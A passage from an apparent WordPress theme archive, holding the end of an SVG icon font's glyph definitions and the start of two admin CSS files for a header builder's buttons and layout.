0 0 1 1 1 1 0 0 0 0 1 0s1 1 1 1c1 0 1 0 1 0 1 0 1 0 2 1 0 0 1 0 1 0 1 0 1 0 2 0s0 0 0 0 1 0 1 0 1 0 1 0 1 0 2 0c0 0 1 0 1-1 1 0 1 0 2 0 0 0 0-1 1-1s1 0 1 0c1 0 1-1 1-1 0 0 1 0 1 0 1-1 1-1 1-1 1-1 1-1 1-1 0 0 1 0 1 0l83-72c9-8 10-21 3-30-5-5-10-7-16-7-5 0-10 1-14 5l-48 41v-144c0-11-9-21-21-21-11 0-21 9-21 21v144l-49-42c-4-3-9-5-14-5-6 0-12 2-16 8z" horiz-adv-x="1000" />

<glyph glyph-name="hotspot" unicode="&#xe988;" d="M104 641c11 0 19-8 21-17l0-4c0-12-9-21-21-21h-62v-616l217 237c6 7 16 9 24 5l3-2 138-96 193 236c7 9 21 10 29 2l3-3 309-387v624h-354c-12 0-21 9-21 21 0 10 7 19 17 20l4 1 375 0c10 0 19-8 20-17l1-4v-708c0-11-8-19-17-21l-4 0h-958c-11 0-19 7-21 17l0 4v708c0 10 8 19 17 20l4 1 83 0z m529-325l-189-230c-6-7-16-9-24-6l-4 3-138 96-226-246h888l-307 383z m-279 493c104 0 188-84 188-187s-84-188-188-188-187 84-187 188 83 187 187 187z m0-41c-80 0-146-66-146-146s66-146 146-146 146 65 146 146-65 146-146 146z m0-42c11 0 19-8 21-17l0-4v-62h63c11 0 20-10 20-21 0-11-7-19-17-21l-3 0h-63v-63c0-11-9-20-21-20-10 0-19 7-20 17l-1 3v63h-62c-12 0-21 9-21 21 0 10 8 18 17 20l4 1h62v62c0 11 10 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="paypal-button" unicode="&#xe989;" d="M535 428l291-250c7-5 9-15 6-23-3-8-11-13-19-13h-88l74-122c3-5 4-11 2-16-1-6-5-10-9-13l-94-55c-3-1-6-3-10-3-2 0-4 1-6 1-5 2-10 6-12 11l-71 141-63-63c-6-6-15-8-22-5-8 4-13 11-13 20v375c0 8 4 15 12 18 7 4 15 3 22-3z m7-61v-279l48 47c3 4 9 7 14 7 1 0 2 0 4-1 6-1 12-5 15-11l73-147 56 33-82 136c-4 6-5 14-1 21 4 7 11 11 19 11h68l-214 183z m354 400c57 0 104-47 104-104v-250c0-58-47-105-104-105h-167c-11 0-21 10-21 21s10 21 21 21h167c32 0 59 25 62 57l0 6v250c0 32-24 59-56 62l-6 0h-792c-32 0-59-25-62-57l0-5v-250c0-33 24-60 56-63l6 0h334c11 0 20-9 20-21s-9-21-20-21h-334c-57 0-104 47-104 105v250c0 57 47 104 104 104h792z m-358-185c5 0 7-3 5-7l-1-2-103-148c-1-2-4-3-6-4l-3 0h-30c-3 0-5 3-4 6l1 2 33 46-34 98c-1 4 0 7 4 9l2 0h27c4 0 6-1 8-4l1-2 19-62 43 62c2 4 4 5 7 6l3 1h28z m-238 4c15 0 28-4 33-13l2-4c2-2 3-3 3-1l1 2 1 6c0 3 2 4 3 5l2 0h29c3 0 4-1 4-5l0-3-16-102c-1-6-3-8-6-8l-2 0h-27c-3 0-4 1-4 3l0 2 0 8c1 2-1 2-3 0l-2-1c-10-10-20-16-40-16-30 0-51 24-49 55 3 40 30 71 71 72z m460 0c15 0 27-4 33-13l2-4c1-2 3-3 3-1l0 2 2 6c0 3 1 4 3 5l1 0h29c3 0 5-1 5-5l0-3-17-101c-1-6-3-8-6-9l-2 0h-27c-3 0-4 2-4 4l0 2 1 8c0 2-2 2-4 0l-1-1c-11-10-20-16-41-16-29 0-51 24-49 55 3 39 31 70 72 71z m146 55c2 0 4-1 4-3l0-1-27-170c0-2-1-3-3-4l-2 0h-30c-2 0-4 1-4 3l0 1 27 170c0 3 2 4 5 4h30z m-717 1c27 0 52-15 49-52-5-43-28-67-65-67h-31c-5 0-7-4-8-11l-6-39c-1-6-5-9-9-9h-29c-5 0-7 3-6 10l24 157c2 8 5 11 10 11h71z m460 0c27 0 51-15 48-52-4-43-27-67-64-67h-32c-5 0-7-4-8-11l-6-39c-1-6-4-9-9-9h-29c-5 0-6 3-6 10l25 158c1 8 4 11 10 11h71z m-344-88c-17 0-34-14-36-31-3-18 9-32 27-32 17 0 34 14 37 32 2 17-10 31-28 31z m460 0c-17 0-34-14-37-31-2-18 10-32 27-32 18 0 35 14 37 32 3 17-9 31-27 31z m-594 53l-23 0-8-50h25l4 1c13 2 21 12 22 29 1 12-7 20-20 20z m460 0l-23 0-8-50h24c15 1 26 11 26 30 1 12-7 20-19 20z" horiz-adv-x="1000" />

<glyph glyph-name="shape" unicode="&#xe98a;" d="M740 317c115 0 208-94 208-209s-93-208-208-208-209 93-209 208 94 209 209 209z m-461-7l174-127c12-8 17-23 12-36l-66-222c-4-14-17-23-32-23h-215c-14 0-27 9-32 23l-67 222c-4 13 1 28 12 36l175 127c12 9 28 9 39 0z m461-35c-92 0-167-75-167-167s75-166 167-166 166 74 166 166-74 167-166 167z m-480-2l-165-120 63-210h203l63 210-164 120z m155 502c18 0 33-14 33-32l0-1v-309c0-18-14-33-33-33l0 0h-309c-18 0-33 14-33 33l0 0v309c0 18 14 33 32 33l1 0h309z m353 7l0-1 174-332c12-22-4-48-28-49l-1 0h-348c-25 0-41 26-30 48l0 1 174 332c12 23 45 24 58 2l1-1z m-362-49h-291v-291h291v291z m333 15l-161-306h321l-160 306z" horiz-adv-x="1000" />

<glyph glyph-name="wordart" unicode="&#xe98b;" d="M208 303l9-5 588-337c41-24 66-21 79-14 13 7 20 22 19 39-1 12 8 22 20 23 12 1 22-8 23-20 2-30-11-63-41-79-31-17-73-13-121 14l-588 337c-41 24-66 21-79 14-13-7-20-22-19-39 1-12-8-22-20-23-12-1-22 8-23 20-2 30 11 63 41 80 27 14 63 13 104-6l8-4z m655 493l41-23c11-7 16-19 14-32l-107-605c-3-12-4-22-5-31 0-8 1-14 3-19 1-1 1-3 3-5 4-6 11-13 22-20 8-6 11-17 6-26-5-9-17-12-26-7l-201 116c-9 6-12 17-7 26 5 10 17 13 26 8l21-13c8-5 15-6 20-5 5 2 10 5 13 11 4 6 6 12 7 19l33 180c1 4-1 8-4 10l-182 105c-4 2-7 2-10-1l-142-121c-7-7-11-12-13-15-3-5-4-10-2-13 1-5 5-10 14-15l19-12c9-5 12-17 7-26-5-9-17-12-26-7l-133 77c-9 6-12 17-7 26 5 10 17 12 26 8 10-5 17-8 24-9l3 0 0 0c7-1 13 0 18 2l5 2c8 4 17 10 29 19l7 6 469 388c10 8 24 9 35 2z m-19-48l-15-13c-1 0-1 0 0-1 5-3 8-9 6-14l-66-370-1 0-31-172c-2-10-7-20-12-30-2-4-5-8-9-12l44-26c1 11 3 23 5 35l105 588c0 3-2 7-5 9l-12 7c-2 2-6 1-9-1z m-57-46l-207-177c-5-4-4-11 1-14l144-83c6-3 13 0 13 6l49 268z" horiz-adv-x="1000" />

<glyph glyph-name="checkout" unicode="&#xe98c;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1-14-1 0 0c-12 0-21 9-22 20 0 12 8 22 20 22l9 0 6 1c5 1 9 2 14 4 19 8 31 23 31 38v580c0 23-25 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-129-125c33 0 59-24 62-56l1-6v-250c0-33-25-59-57-62l-6-1h-458c-33 0-59 25-62 57l-1 6v250c0 32 25 59 57 62l6 0h458z m21-166h-500v-146c0-11 8-19 17-21l4 0h458c11 0 19 8 21 17l0 4v146z m-354-84c12 0 21-9 21-20 0-11-8-19-17-21l-4 0h-83c-12 0-21 9-21 21 0 10 7 18 17 20l4 0h83z m333 209h-458c-11 0-19-8-21-17l0-4v-63h500v63c0 12-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="container" unicode="&#xe98d;" d="M917 663c23 0 41-19 41-42v-542c0-23-18-41-41-41h-834c-23 0-41 18-41 41v542c0 23 18 42 41 42h834z m0-42h-834v-542h834v542z m-750-417v-41h83v-42h-125v83h42z m291-41v-42h-125v42h125z m209 0v-42h-125v42h125z m208 41v-83h-125v42h83v41h42z m0 209v-125h-42v125h42z m-708 0v-125h-42v125h42z m708 166v-83h-42v42h-83v41h125z m-625 0v-41h-83v-42h-42v83h125z m208 0v-41h-125v41h125z m209 0v-41h-125v41h125z" horiz-adv-x="1000" />

<glyph glyph-name="flip" unicode="&#xe98e;" d="M513 404c-17-21-46-21-63 0l-292 329c-25 30-8 75 30 75h579c37 0 58-45 33-75l-287-329z m258-512h-583c-17 0-30 8-38 25s-4 33 8 45l292 334c17 17 46 17 63 0l291-334c13-12 13-29 9-45-13-17-25-25-42-25z m-492 83h400l-200 229-200-229z" horiz-adv-x="1000" />

<glyph glyph-name="info" unicode="&#xe98f;" d="M500-108c-254 0-458 204-458 458s204 458 458 458 458-204 458-458-204-458-458-458z m0 833c-208 0-375-167-375-375s167-375 375-375 375 167 375 375-167 375-375 375z m125-583c0 25-17 41-42 41h-41v292c0 25-17 42-42 42h-83c-25 0-42-17-42-42s17-42 42-42h41v-250h-41c-25 0-42-16-42-41s17-42 42-42h166c25 0 42 17 42 42z m-125 500c25 0 42-17 42-42s-17-42-42-42-42 17-42 42 17 42 42 42z" horiz-adv-x="1000" />

<glyph glyph-name="my-account" unicode="&#xe990;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180 0 0c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1 0 0-11-1c-2 0-2 0-4 0-11 0-21 9-21 20-1 12 8 22 20 22l9 0 0 0 5 1 0 0c5 1 10 2 14 4 20 8 32 23 32 38v580c0 23-26 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-504-166c58 0 104-47 104-104 0-31-13-58-34-78 44-19 79-56 96-103 3-11-2-23-13-27-11-4-23 2-27 13-18 54-68 90-126 90-57 0-107-36-126-90-4-10-15-16-27-13-11 4-16 16-13 27 17 47 52 84 96 104-21 19-34 46-34 77 0 57 47 104 104 104z m438-209c11 0 21-9 21-20 0-11-8-19-18-21l-3 0h-209c-11 0-20 9-20 21 0 10 7 18 17 20l3 0h209z m0 84c11 0 21-9 21-21 0-11-8-19-18-21l-3 0h-209c-11 0-20 9-20 21 0 10 7 19 17 20l3 1h209z m-438 83c-34 0-62-28-62-62 0-33 24-60 56-63l6 0 1 0c34 0 62 28 62 63 0 34-28 62-63 62z m438 0c11 0 21-9 21-21 0-10-8-19-18-20l-3-1h-209c-11 0-20 10-20 21 0 11 7 19 17 21l3 0h209z" horiz-adv-x="1000" />

<glyph glyph-name="purchase-summary" unicode="&#xe991;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180 0 0c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1 0 0-11-1c-2 0-2 0-4 0-11 0-21 9-21 20-1 12 8 22 20 22l9 0 0 0 5 1 0 0c5 1 10 2 14 4 20 8 32 23 32 38v580c0 23-26 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-358-125c104 0 188-83 188-187 0-104-84-188-188-188-104 0-187 84-187 188 0 104 83 187 187 187z m0-41c-80 0-146-66-146-146 0-81 66-146 146-146 80 0 146 65 146 146 0 80-66 146-146 146z m103-63c7-7 8-18 2-26l-2-3-133-133-73 74c-8 8-8 21 0 29 7 8 18 8 27 3l3-3 44-44 102 103c9 9 22 9 30 0z" horiz-adv-x="1000" />

<glyph glyph-name="page-transition" unicode="&#xe992;" d="M854 808c56 0 101-45 104-101l0-7v-700c0-57-43-104-97-108l-7 0h-708c-56 0-101 45-104 101l0 7v700c0 57 43 104 97 108l7 0h708z m63-208h-834v-600c0-35 25-63 57-66l6-1h708c33 0 59 27 62 61l1 6v600z m-584-458v-84c0-23-18-41-41-41h-167v41h167v84h41z m125 0v-84h417v-41h-417c-23 0-41 18-41 41v84h41z m12 193c7 8 18 8 26 3l3-3 59-58c7-7 8-19 2-27l-2-3-59-59c-8-8-21-8-29 0-7 7-8 19-3 27l3 3 44 44-44 44c-7 7-8 19-3 27l3 2z m-96 0l59-58c8-9 8-22 0-30l-59-59c-9-8-21-8-30 0-8 9-8 22 0 30l44 44-44 44c-8 9-8 22 0 30 9 7 22 7 30-1z m-125 0l59-58c8-9 8-22 0-30l-59-59c-9-8-21-8-30 0-8 9-8 22 0 30l44 44-44 44c-8 9-8 22 0 30 9 7 22 7 30-1z m43 182c23 0 41-19 41-42v-83h-41v83h-167v42h167z m583 0v-42h-417v-83h-41v83c0 23 18 42 41 42h417z m-21 250h-708c-33 0-59-27-62-61l-1-6v-58h834v58c0 35-25 63-57 66l-6 1z m-708-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="spotify" unicode="&#xe993;" d="M813 225c103 0 187-84 187-187s-84-188-187-188-188 84-188 188 84 187 188 187z m-313 583c254 0 458-204 458-458 0-43-5-84-16-123-12 8-25 15-38 21 8 32 13 67 13 102 0 229-188 416-417 416s-417-187-417-416 188-417 417-417c35 0 70 5 102 13 6-13 13-26 21-38-39-11-80-16-123-16-255 0-459 204-459 458s205 458 459 458z m313-625c-81 0-146-65-146-145s65-146 146-146 145 65 145 146-65 145-145 145z m-15-55l4-3 85-53c26-16 26-52 0-68l-85-54c-27-17-62 2-62 34v107c0 30 31 49 58 37z m-18-37v-107l85 54-85 53z m-526 147c156 37 293 24 406-29-15-14-28-29-39-45-98 43-216 48-354 19-17-4-29 5-34 21s5 29 21 34z m487 91l13-8c17-8 21-33 13-50-3-5-7-8-11-11-6-2-12-4-18-6-8 0-15 1-21 4-125 75-313 96-459 55-20-5-37 4-45 25-5 20 4 37 25 45 161 49 362 27 503-54l0 0z m-528 209c162 50 433 37 604-63 21-12 29-37 16-58-16-21-41-25-62-17-146 92-392 96-533 54-21-4-46 9-55 29-4 25 9 46 30 55z" horiz-adv-x="1000" />

<glyph glyph-name="stripe-button" unicode="&#xe994;" d="M468 345l292-250c6-6 9-15 5-23-2-8-10-14-19-14h-88l74-122c3-4 4-10 3-16-2-5-5-10-10-13l-93-54c-4-2-7-3-11-3-2 0-4 0-6 1-5 1-10 5-12 11l-70 141-63-63c-6-6-15-8-23-5-8 3-13 11-13 19v375c0 9 5 16 12 19 7 4 16 2 22-3z m7-61v-280l48 48c4 4 9 6 15 6 1 0 2 0 3 0 7-1 12-5 15-11l74-147 55 32-82 136c-4 7-4 15 0 22 3 6 10 10 18 10h69l-215 184z m421 399c57 0 104-46 104-104v-250c0-57-47-104-104-104h-233c-12 0-21 9-21 21s9 21 21 21h233c32 0 59 24 62 56l0 6v250c0 33-24 59-56 62l-6 1h-792c-32 0-59-25-62-57l0-6v-250c0-32 24-59 56-62l6 0h267c12 0 21-9 21-21s-9-21-21-21h-267c-57 0-104 47-104 104v250c0 58 47 104 104 104h792z m-261-130c35 0 68-31 69-89 0-64-33-93-69-93-13 0-22 4-30 9l-6 4 0-57-50-10v233h44l2-12c8 6 20 15 40 15z m-310 40l0-43h38v-42h-39v-72c0-22 19-22 31-20l4 2 0 0 4 1v-41c-7-4-19-7-36-7-28 0-49 19-52 46l0 6 0 160 50 10z m-120-40c17 0 34-2 50-9v-47c-15 8-34 13-50 13-10 0-17-3-17-11 0-6 5-9 13-12l8-3 0 0 13-5 0 0 9-3c18-8 34-21 34-48 0-36-28-57-70-57-18 0-37 4-55 12v47c17-9 38-16 55-16 11 0 19 3 19 12 0 8-7 12-18 16l-17 6 0 0-9 4c-17 8-32 20-32 45 0 35 27 56 67 56z m585 0c45 0 70-36 73-85l0-9 0 0-1-16h-98c2-23 19-30 39-30 17 0 31 3 43 8l6 3v-40c-14-7-32-13-56-13-49 0-83 31-83 91 0 51 29 91 77 91z m-260-3v-175h-50v175h50z m-63 0v-46c-6 2-26 5-38-11v-118h-50v175h43l3-15c12 22 36 18 42 15z m156-41c-10 0-17-3-22-8l-2-2 0-74c5-5 12-10 24-10 18 0 30 20 30 47 1 26-12 47-30 47z m167 4c-12 0-25-8-27-27l0-5h52c0 22-13 32-25 32z m-260 104v-41l-50-11v41l50 11z" horiz-adv-x="1000" />

<glyph glyph-name="woo-settings" unicode="&#xe995;" d="M771 496h-542c-21 0-41-8-58-25s-25-38-25-63v-216c0-46 37-88 83-88h250l113-66c4 0 8-5 12-5s9 0 13 5c8 4 8 16 4 25l-17 41h163c46 0 83 38 83 88v216c4 50-33 88-79 88z m42-304c0-25-17-46-42-46h-196c-8 0-12-4-17-8s-4-13-4-21l4-13-66 38c-4 0-9 4-13 4h-250c-21 0-41 21-41 46v216c0 13 4 25 12 34s17 12 29 12h542c21 0 42-21 42-46v-216z m-363 108c-8-46-8-83-8-108 0-9 0-13-4-21s-9-8-13-8c-8 0-12 4-21 12-25 25-46 67-58 121-17-38-29-63-38-83-16-34-29-50-41-50-9 0-13 4-21 20-13 38-29 109-46 217 0 8 0 13 4 21 4 4 9 8 17 8 12 0 21-4 25-21 8-58 17-108 29-150l58 113c5 12 13 17 21 17 13 0 21-9 21-25 8-38 17-71 25-96 8 71 21 125 38 158 4 8 8 13 16 13 4 0 13 0 17-5s8-8 8-16c0-4 0-9-4-13-8-25-17-58-25-104z m292 104c-4 0-9 0-17 0-25 0-46-12-62-41-13-25-21-50-21-80 0-20 4-41 12-58s25-29 42-33c4 0 8 0 17 0 25 0 45 12 62 41 13 25 21 50 21 80 0 20-4 41-13 54-4 21-20 33-41 37z m12-112c-4-21-12-34-21-42s-16-12-20-8c-9 0-13 8-17 16s-4 17-4 25 0 13 0 21c4 13 8 25 12 34 9 12 17 20 29 16 9 0 13-8 17-16s4-17 4-25 0-13 0-21z m-179 112c-4 0-8 0-17 0-25 0-45-12-62-41-13-25-21-50-21-80 0-20 4-41 13-58s25-29 41-33c4 0 9 0 17 0 25 0 46 12 62 41 13 25 21 50 21 80 0 20-4 41-12 54-9 21-25 33-42 37z m8-112c-4-21-12-34-20-42s-17-12-21-8c-9 0-13 8-17 16s-4 17-4 25 0 13 0 21c4 13 8 25 12 34 9 12 17 20 30 16 8 0 12-8 16-16s4-17 4-25 0-13 0-21z m271 516h-708c-58 0-104-50-104-108v-700c0-58 46-108 104-108h708c59 0 104 50 104 108v700c0 58-45 108-104 108z m-708-41h708c34 0 63-29 63-67v-58h-834v58c0 38 30 67 63 67z m708-834h-708c-33 0-63 29-63 67v600h834v-600c0-38-29-67-63-67z m-729 771c0 13 8 21 21 21s21-8 21-21-9-21-21-21-21 9-21 21z m83 0c0 13 9 21 21 21s21-8 21-21-8-21-21-21-21 9-21 21z m84 0c0 13 8 21 21 21s20-8 20-21-8-21-20-21-21 9-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="woo-cart" unicode="&#xe996;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180 0 0c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1 0 0-11-1c-2 0-2 0-4 0-11 0-21 9-21 20-1 12 8 22 20 22l9 0 0 0 5 1 0 0c5 1 10 2 14 4 20 8 32 23 32 38v580c0 23-26 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-484-145l0 0h4 393c21 0 39-17 41-37l1-5v-208c0-4-1-7-2-10l0-115c0-22-16-40-36-42l-5 0h-145c-21 0-39 16-41 37l-1 5v83h-205l-4 0 0 0 0 0h-145c-21 0-39 16-41 37l0 5v208c0 21 16 39 36 41l5 1h145z m396-292h-145v-83h145l0 83z m1 125h-393v-83h393v83z m-439 0h-103v-83l103 0v83z m439 125h-393v-83l393 0v83z m-439 0l-103 0v-83h103v83z" horiz-adv-x="1000" />
</font>
</defs>
</svg>
PK     N\TK7       inc/builder/assets/css/admin.cssnu [        .penci-builder-button {
	display: inline-block;
}
.penci-builder-button .button {
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	padding: 6px 12px;
	transition: 0.3s all ease-in-out;
	font-weight: bold;
}
.penci-video-tutbtn .button{
	background: #ff0000;
	border-color: #ff0000;
}
.penci-builder-button .button:before {
	content: "\f450";
	font-family: dashicons, sans-serif;
	display: inline-block;
	vertical-align: middle;
	margin-right: 5px;
	font-size: 26px;
	line-height: 0;
	margin-top: -4px;
}
.penci-use-import-button.penci-builder-button .button:before {
	content: "\f13b";
}
.penci-video-tutbtn.penci-builder-button .button:before {
	content: "\f236";
}
PK     N\MgB  B  )  inc/builder/assets/css/header-builder.cssnu [        @font-face {
	font-family: "eicons";
	src: url("../fonts/eicons.eot?42232160");
	src: url("../fonts/eicons.eot?42232160#iefix") format("embedded-opentype"),
		url("../fonts/eicons.woff?42232160") format("woff"),
		url("../fonts/eicons.ttf?42232160") format("truetype"),
		url("../fonts/eicons.svg?42232160#eicons") format("svg");
	font-weight: normal;
	font-style: normal;
}
.wp-full-overlay-sidebar-content,
#customize-controls .customize-info.is-in-view,
#customize-controls .customize-section-title.is-in-view {
	margin-top: 0 !important;
}
.header-builder {
	position: absolute;
	right: 0;
	left: 0;
	bottom: 0;
	background: #fff;
	-webkit-transform: translateY(100%);
	-ms-transform: translateY(100%);
	transform: translateY(100%);
	-webkit-transition: all 0.2s ease-in-out;
	-o-transition: all 0.2s ease-in-out;
	transition: all 0.2s ease-in-out;
}
.header-builder-open .header-builder {
	-webkit-transform: translateY(0);
	-ms-transform: translateY(0);
	transform: translateY(0);
}
.flex-row {
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-flex-flow: row nowrap;
	flex-flow: row nowrap;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-justify-content: space-between;
	-ms-flex-pack: justify;
	justify-content: space-between;
	width: 100%;
}
body.rtl .flex-row {
	flex-flow: row-reverse nowrap;
}
.flex-col {
	max-height: 100%;
}
.flex-grow {
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	-ms-flex-negative: 1;
	-ms-flex-preferred-size: auto !important;
}
.flex-right {
	margin-left: auto;
}
.flex-left {
	margin-right: auto;
}
.notice-edit {
	margin-right: 30px;
}
.nav {
	width: 100%;
	position: relative;
	display: inline-block;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-flex-flow: row wrap;
	-ms-flex-flow: row wrap;
	flex-flow: row wrap;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
}
.nav-right {
	-webkit-justify-content: flex-end;
	-ms-flex-pack: end;
	justify-content: flex-end;
}
.cursor-pointer {
	cursor: pointer;
}
.header-builder-top-header {
	background: #333;
	padding: 10px 20px;
	box-sizing: border-box;
}
.header-builder-top-menu {
	-webkit-justify-content: flex-end;
	-ms-flex-pack: end;
	justify-content: flex-end;
}
.header-builder-desktop,
.header-builder-desktop-sticky,
.header-builder-mobile,
.header-builder-mobile-drawer {
	padding: 10px 10px;
	box-sizing: border-box;
	display: none;
}
.preview-desktop .header-builder-desktop,
.preview-desktop.sticky .header-builder-desktop-sticky,
.preview-mobile .header-builder-mobile,
.preview-mobile.drawer .header-builder-mobile-drawer,
.preview-mobile.mobile_menu .header-builder-mobile,
.preview-tablet .header-builder-mobile,
.preview-tablet.drawer .header-builder-mobile-drawer,
.preview-tablet.mobile_menu .header-builder-mobile {
	display: block;
}
.preview-desktop.sticky .header-builder-desktop,
.preview-mobile.drawer .header-builder-mobile,
.preview-tablet.drawer .header-builder-mobile {
	display: none;
}
.header-builder-wrapper > div {
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	padding: 5px 0;
	position: relative;
	border: 1px solid transparent;
	background: #fff;
}
.header-builder-wrapper > div:hover {
	border: 1px solid var(--wp-admin-theme-color);
	box-sizing: border-box;
}
.header-builder-column {
	min-height: 25px;
	border: 1px solid #aaa;
	padding: 4px 25px 0 3px;
	position: relative;
	min-width: 50px;
	-webkit-flex: 1 auto;
	-ms-flex: 1 auto;
	flex: 1 auto;
	margin: 0 5px;
	background: #ececec;
	-webkit-transition: all 0.1s ease-in-out;
	-o-transition: all 0.1s ease-in-out;
	transition: all 0.1s ease-in-out;
}
.header-builder-left.header-builder-column,
.header-builder-left.normal ~ .header-builder-center.normal {
	padding: 4px 3px 0 4px;
}
.header-builder-column.active {
	background: #c5c5c5;
}
.header-builder-column.left {
	text-align: left;
}
.header-builder-column.center {
	text-align: center;
}
.header-builder-column.right {
	text-align: right;
}
.header-builder-column.grow {
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
}
.header-builder-column.normal {
	-webkit-flex: 0 auto;
	-ms-flex: 0 auto;
	flex: 0 auto;
}
.header-builder-column:hover {
	background: #c5c5c5;
}
.header-builder-row-drag-handle,
.header-builder-row-option {
	position: absolute;
	z-index: 5;
	left: 45px;
	background: var(--wp-admin-theme-color);
	padding: 4px 15px;
	bottom: 100%;
	cursor: pointer;
	opacity: 0;
	visibility: hidden;
	font-size: 13px;
	margin-left: -1px;
	-webkit-transition: all 0.1s ease-in-out;
	-o-transition: all 0.1s ease-in-out;
	transition: all 0.1s ease-in-out;
	color: #fff;
}
.header-builder-row-drag-handle {
	left: 0;
	font-size: 10px;
}
.header-builder-wrapper > div:hover .header-builder-row-drag-handle,
.header-builder-wrapper > div:hover .header-builder-row-option {
	visibility: visible;
	opacity: 1;
}
.header-builder-top .header-builder-row-drag-handle {
	display: none;
}
.header-builder-mobile .header-builder-row-option,
.header-builder-mobile-drawer .header-builder-row-option,
.header-builder-sticky .header-builder-row-option,
.header-builder-top .header-builder-row-option {
	left: 0;
}
.device-mode > div,
.top-menu {
	display: inline-block;
	padding: 4px 20px;
	text-transform: uppercase;
	font-size: 12px;
	background: var(--wp-admin-theme-color);
	cursor: pointer;
	margin-right: 3px;
	border-radius: 2px;
	color: #fff;
	position: relative;
}
.preview-desktop .device-mode div.device-mode-desktop,
.preview-mobile .device-mode div.device-mode-mobile,
.preview-tablet .device-mode div.device-mode-mobile {
	background: #fff;
	color: #333;
	border-radius: 2px;
}
.top-menu.close {
	padding: 4px 10px;
}
.flex-clear {
	display: table;
	clear: both;
	content: "";
	padding: 0 !important;
	margin: 0 !important;
}
.header-builder-list {
	background: #f2f2f2;
	margin: 20px -10px -10px;
	padding: 15px 15px 5px;
	min-height: 85px;
	border-top: 1px solid silver;
	position: relative;
}
.header-builder-list:after {
	content: "";
	clear: both;
	display: table;
}
.header-builder-list .header-element:before {
	font-family: "eicons";
	content: "\e8b0";
	display: block;
	font-size: 24px;
	margin: 10px 0;
}
.header-builder-list .header-element.pb_bookmark:before {
	content: "\e91f";
}
/*.header-builder-list .header-element.ui-sortable-helper:before {
	display: none;
	min-height: auto;
}*/
.header-builder-list .header-element.pb_block:before,
.header-builder-list .header-element.pb_block_2:before {
	content: "\e841";
}
.header-builder-list .header-element.pb_button:before,
.header-builder-list .header-element.pb_button_mobile:before,
.header-builder-list .header-element.pb_button_mobile_2:before,
.header-builder-list .header-element.pb_button_2:before,
.header-builder-list .header-element.pb_button_3:before {
	content: "\e989";
}
.header-builder-list .header-element.pb_cart_icon:before {
	content: "\e8d2";
}
.header-builder-list .header-element.pb_compare_icon:before {
	content: "\e84c";
}
.header-builder-list .header-element.pb_date_time:before {
	content: "\e826";
}
.header-builder-list .header-element.pb_hamburger_menu:before {
	content: "\e86d";
}
.header-builder-list .header-element.pb_mobile_menu:before {
	content: "\e854";
}
.header-builder-list .header-element.pb_dropdown_menu:before {
	content: "\e83f";
